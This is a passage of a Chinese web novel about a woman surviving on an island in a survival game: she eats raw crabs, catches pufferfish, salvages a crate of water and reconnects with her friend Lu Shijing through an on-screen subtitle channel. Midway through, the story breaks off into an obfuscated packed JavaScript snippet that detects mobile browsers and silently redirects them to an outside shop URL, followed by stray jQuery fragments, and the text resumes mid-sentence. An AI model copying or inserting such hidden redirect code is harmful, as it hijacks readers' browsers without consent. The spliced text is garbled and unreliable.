许观亦想着那游戏面板,要是能再提前三十天跳出来,她也能有足够的时间去准备。
可想也不可能,三十天已经是极限了。
她看了聊天室里的人,大部分都是三十天的时候出现的,还有一小部分是紧急意外,当场就过来了。
许观亦已经算是那幸运的一部分了。
不能再耽搁了,得趁着现在有点体力,赶紧下海摸些东西。
她一步步地走了下去,那沙滩越走越深,走出了一百米都没到需要游泳的程度。
许观亦仔细地看着海面下的沙子,看见不对的就拨一下,大部分都是气孔,里面没有东西,还有一些是指甲盖大小的小螃蟹。
许观亦没嫌弃,但凡是会动的,她全都给抓了起来。
这裤子的裤兜是特制的,装水都不会漏,她正好可以把抓来的东西放进去。
许观亦又找到了一撮飘来的海带,不多,就一小捧的量,她也没放过,全都塞了起来。
回到了岛上,开始整理物资。
许观亦把东西都放到一起,最大的收获就是这些小螃蟹,不过这个玩意儿不比生蚝里的豆蟹大多少,估计煮一下都得没。
而且这里也没有个锅,甚至没有个易拉罐能让她煮。
许观亦咬了咬牙,决定生吃。
这东西怎么说应该也能补充点水分,而且天气太热,可能放不了一个小时就得臭了,必须得尽快。
许观亦下了决心,捏起一只还在乱爬的小螃蟹,闭着眼睛扔到了嘴里。
“呕……”她差点没吐出来,强忍着那股剧烈的腥味儿,把嘴里像沙子一样的东西给咽了下去。
“我的天哪,这东西看起来不大,威力这么大?”
小螃蟹还有五六只,许观亦屏着呼吸一咬牙,抓起小螃蟹一把就塞进了嘴里,咯吱咯吱使劲嚼了两口,就往喉咙里塞。
“呕……不是说新鲜的东西不会腥吗?”
许观亦想起以前她吃的那些高档生鲜,没有腥的啊。
可她又想起了,自己吃的那些全都是上好的品种、难得的好货,可不是这种从沙子堆里刨出来、没指甲盖儿大的猎奇小海鲜。
小螃蟹还剩一只,这只螃蟹看起来要大很多,有大拇指那么大,壳也不是软的,是硬的,许观亦抓的时候差点被夹了手。
她刚想一鼓作气把这只也吃了的时候,就停下了手。
她把螃蟹翻了个个儿,仔细看着螃蟹背上的花纹。
这东西看起来好像有点儿像……那个叫什么正直爱洁蟹的。
圆圆的上甲,靠近上方的位置有星星点点的白色花纹。
许观亦记得这个螃蟹,还是因为那个独特的名字和这螃蟹本身一点都不匹配,因为这玩意儿有毒。
小小一个,看起来像沙滩上的石头蟹似的,完全不起眼儿。
可一旦中毒可能就会致命,也不能说是可能,在这荒岛上又没有个医生医院的,中了毒,大概率就是等死。
许观亦有些不太确定这东西到底有没有毒,翻来覆去、来来回回地看,越看越像,又觉得好像有点儿不一样。
“唉呦我的天啊。”
许观亦还没这么为难过,最终她还是决定把这东西当鱼饵。
她总不至于因为这么个螃蟹落地成盒吧。
至于那些海带,许观亦还没想到好的方法。
这海带是泡在海水里的,里面海水的含量肯定非常高,直接这么吃了,跟喝海水没什么区别,死的一定更快。
她只好又把那撮海带重新放回到了海水里面,用沙子压住一半,确保不会被冲跑。
许观亦把小螃蟹给掰开,取了一半挂到了鱼钩上,又走回到了海里,甩杆下去。
太阳越来越高了,许观亦感觉自己前胸背后都湿透了。
刚才螃蟹带来的那点水分趋近于无,她越发觉得口干舌燥。
不过好在鱼竿终于有了动静。
许观亦先是感觉到杆子动了一下,她没敢立刻举起来,直到那杆子异常地开始抖动往后拉拽,她才拽着杆子往回跑。
等拖到了浅滩上,许观亦差点没直接笑出声,那是一条很大的鱼,足有小臂长。
许观亦先是拖着杆子回到了岛上,然后转身去拿鞋,想要拍死那条鱼。
可一等走近,她的动作就僵住了。
河豚?
那竟然是条河豚!
老大一只河豚,而且还充了气儿,正在一点点变大。
许观亦以前不太懂,为什么那些钓鱼博主钓到河豚之后会生气的拿它擦皮鞋,现在懂了,许观亦也想这么干。
她揪住河豚的尾巴,握住它有些扎手的身子使劲儿挤了挤,使劲地晃。
那块儿已经被咬碎的螃蟹块就被晃了出来。
许观亦又把钩子解了下来,把还鼓着气儿的河豚像个皮球一样,“咻”的一下扔回到了海里。
那河豚接触到海水,瞬间放了气儿,钻到水里不见踪影了。
许观亦等河豚跑没影了才想起来,她刚才为什么不把河豚杀了,拿肉钓鱼啊!
不对不对,这东西毒性那么强,万一沾到的东西都不能吃了呢。
许观亦又拿起了那块破碎的螃蟹,重新挂到鱼钩上,回到了海里。
她想着哪怕钓点垃圾上来都行,垃圾兴许还会有点用,她试着万一能造出个淡水过滤器呢。
可太阳都快下山了,也没有一点儿动静。
许观亦都想着实在不行的话,她就跳下去潜水,看看海底有什么东西吧。
但那是下下策,她都已经三四年没有潜过水了,不确定自己技术还在不在。
许观亦有些累了,一只手拿着鱼竿,另一只手捏了捏后脖颈,一转头就看见小岛后方飘来个木箱子。
从那轨迹来看,好像是已经接近小岛又远离了。
许观亦急着往回跑,手中的鱼竿又突然有了动静,她就拖着鱼竿一起往回跑。
等跑回了小岛上,许观亦一看差点气懵了,又是河豚!
这回的河豚挣扎得太厉害了,没有鼓气儿,就是使劲地跳。
许观亦想把鱼钩子解下来,赶紧去勾那个木箱子,可半天下不去手,这东西的牙这么锋利,她不敢生拉硬拽。
“别动了,我放你回去!”
那木箱子眼看越飘越远,许观亦急了,拿起鱼竿照着河豚的脑袋,“梆”地就来了一下。
河豚跳了一下就不动了,她赶紧解下钩子,跑到另一边儿,甩出鱼竿,一下没中,又来一下,可算是中了。
这箱子沉得厉害,鱼竿又没有卷线的轮子,许观亦只能把鱼竿扛在肩上,使劲地往回拖。
等拖回到了小岛上,她已经满头大汗了。
那只河豚还有一点活力,还时不时地跳一下。
许观亦仰躺在沙子上,身上沾满了沙子,累得气喘吁吁。
“最好值。”
她爬了起来,把箱子拖了过来,打开上面的简易锁扣,里边是两瓶矿泉水和一个牛角面包。
许观亦赶紧拿起一瓶,“咕嘟咕嘟”就灌下了半瓶。
她还想着再喝,可还是克制住了,拧上瓶盖,放回到了箱子里。
嗓子中的干痒可算得到了缓解,许观亦靠着箱子坐了下来,深深地吐出了一口气。
“好险,差点被渴死。”
歇了一会儿,许观亦感觉没那么累了,就起来看了一眼箱子里的东西。
牛角包只不过巴掌大小,矿泉水都是五百毫升正常包装的那种,这些东西,顶了天撑两天吧。
旁边那条挣扎的河豚彻底不动了,许观亦感觉有点为难,这东西扔了感觉浪费,不扔又怕出问题
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790736|210380||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
“不是说这东西有一部分能吃吗?到底是哪一部分……”
【观亦?】
【观亦,是你吗?】
那块淡蓝色的屏幕又冒了出来,上面显示着两句话。
是在地图正下方的位置,字体不算小,一眼就能看见。
第一句话消失之后,紧接着跟上来的就是第二句话,有些像字幕。
许观亦不太懂这是什么,这看起来不像是好友聊天啊。
她点了一下自己的好友聊天框,里面没有人,她也没加好友。
“什么啊?”
那些字幕又消失了,许观亦嘟囔了一句。
紧接着字幕又回来了。
【观亦,观亦,真的是你?】
许观亦发现她好像说的话对面能听见,于是试探着问道:“你是谁啊?”
那字幕又变了:【我是时敬啊!】
“啊?什么?谁?”
许观亦震惊地瞪大了眼睛。
“你说你是谁?”
【我是时敬。】
“那你说……你说我们是怎么认识的?”
实在是眼前这事儿太过不可思议了,许观亦怀疑是游戏的陷阱之类的。
【我们是在大学社团里认识的,我们两个负责校园公众号。】
【你第一天发的文章是关于大学生另辟蹊径就业的。】
许观亦信了,但还是又多问了几个问题。
那字幕答得一字不差,全都是对的。
“时敬,你怎么能联系到我?”
【我……】
屏幕上的点点点很多,好像是陆时敬在犹豫。
【我感觉你发来的消息不太对。虽然衣服在更换,场景也在换,可我就是感觉不对。我托朋友查了你的机票,发现你早就回来了。】
【我没敢跟许叔叔和许阿姨说,自己去了那个城市找你。】
【然后……我就找到了你。】
屏幕那头好久没说话,许观亦还以为连接中断了,吓得使劲拍了拍:“时敬?时敬?”
【我在。】
【我先是把你送去了医院,然后医院说完全看不出来有什么问题,除了你……你的癌症。他们都说你活不了几天了,可我守了你一个多月,你还是保持着一模一样的样子。】
【我感觉不太对,走投无路之下,我就……信了玄学。】
随着陆时敬的解释,许观亦大概懂了。
她感觉她到这边还不到一天时间,但其实那边已经过了一个多月了。
这事儿看起来也挺正常,估计是她倒计时的时候时间就是在流逝,不然的话,大家都是不同时间进来的,对后来的玩家来说也不公平。
陆时敬是什么办法都试过了,到最后甚至开始求神问佛了,被骗了不少钱,终于找到了个真的。
这人怀疑说许观亦的魂儿没了,要给她招回来。
于是十几二十万砸了下去,陆时敬又是放血、又是剪头发,还做了一堆古怪邪门的仪式后,什么都没发生。
陆时敬守着她,已经绝望到底了。
可没想到他刚把那人赶走,就看见许观亦头顶上冒出来了一块屏幕,上面写着:“值了。”后面又跟了几句:“不是说这东西有一部分能吃吗?到底是哪一部分……”
陆时敬回头看了眼护工,那护工像是一点儿都没看见似的,还在切水果。
他就把护工赶跑了,对着许观亦说话。
没想到那字幕也跟着变了。
俩人就这么着,算是联系上了。
许观亦也把自己这边的事儿跟他说了个清楚。
“所以我这一趟也不知道能不能成。”
“我想的是成了最好,不成的话,我们分开那么久,你也应该不会太伤心。”
【能成,一定能成。】